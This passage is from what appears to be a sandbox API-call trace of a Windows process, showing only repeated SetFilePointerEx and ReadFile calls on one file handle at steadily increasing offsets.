lpNumberOfBytesRead=0x4aba5c*=0x3c2, lpOverlapped=0x0) returned 1 [0069.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.105] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3ba, lpOverlapped=0x0) returned 1 [0069.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.105] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3b2, lpOverlapped=0x0) returned 1 [0069.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.105] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3aa, lpOverlapped=0x0) returned 1 [0069.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.106] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3a2, lpOverlapped=0x0) returned 1 [0069.106] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.106] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.106] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x39a, lpOverlapped=0x0) returned 1 [0069.106] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.106] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.106] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x392, lpOverlapped=0x0) returned 1 [0069.106] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.106] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.106] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x38a, lpOverlapped=0x0) returned 1 [0069.106] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.106] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.106] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x382, lpOverlapped=0x0) returned 1 [0069.106] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.107] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x37a, lpOverlapped=0x0) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.107] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x372, lpOverlapped=0x0) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.107] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x36a, lpOverlapped=0x0) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.107] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x362, lpOverlapped=0x0) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.107] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x35a, lpOverlapped=0x0) returned 1 [0069.108] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.108] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.108] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x352, lpOverlapped=0x0) returned 1 [0069.108] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.108] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.108] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x34a, lpOverlapped=0x0) returned 1 [0069.108] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.108] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.108] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x342, lpOverlapped=0x0) returned 1 [0069.108] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.108] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.108] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x33a, lpOverlapped=0x0) returned 1 [0069.108] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.108] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.108] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x332, lpOverlapped=0x0) returned 1 [0069.109] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.109] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.109] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x32a, lpOverlapped=0x0) returned 1 [0069.109] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.109] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.109] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x322, lpOverlapped=0x0) returned 1 [0069.109] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.109] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.109] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x31a, lpOverlapped=0x0) returned 1 [0069.109] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.109] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.109] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x312, lpOverlapped=0x0) returned 1 [0069.109] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.109] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.110] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x30a, lpOverlapped=0x0) returned 1 [0069.110] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.110] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.110] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x302, lpOverlapped=0x0) returned 1 [0069.110] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.110] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.110] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2fa, lpOverlapped=0x0) returned 1 [0069.110] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.110] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.110] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2f2, lpOverlapped=0x0) returned 1 [0069.110] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.110] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.110] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2ea, lpOverlapped=0x0) returned 1 [0069.110] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.111] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.111] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2e2, lpOverlapped=0x0) returned 1 [0069.111] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.111] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.111] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2da, lpOverlapped=0x0) returned 1 [0069.111] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.111] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.111] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2d2, lpOverlapped=0x0) returned 1 [0069.111] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.111] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.111] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2ca, lpOverlapped=0x0) returned 1 [0069.111] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.111] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.111] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2c2, lpOverlapped=0x0) returned 1 [0069.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.112] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2ba, lpOverlapped=0x0) returned 1 [0069.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.112] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2b2, lpOverlapped=0x0) returned 1 [0069.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.112] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2aa, lpOverlapped=0x0) returned 1 [0069.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.112] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2a2, lpOverlapped=0x0) returned 1 [0069.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.112] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x29a, lpOverlapped=0x0) returned 1 [0069.113] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.113] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.113] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x292, lpOverlapped=0x0) returned 1 [0069.113] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.113] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.113] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x28a, lpOverlapped=0x0) returned 1 [0069.113] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.113] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.113] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x282, lpOverlapped=0x0) returned 1 [0069.113] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.113] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.113] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x27a, lpOverlapped=0x0) returned 1 [0069.113] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.113] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.114] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x272, lpOverlapped=0x0) returned 1 [0069.114] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.114] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.114] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x26a, lpOverlapped=0x0) returned 1 [0069.114] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.114] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.114] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x262, lpOverlapped=0x0) returned 1 [0069.114] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.114] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.114] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x25a, lpOverlapped=0x0) returned 1 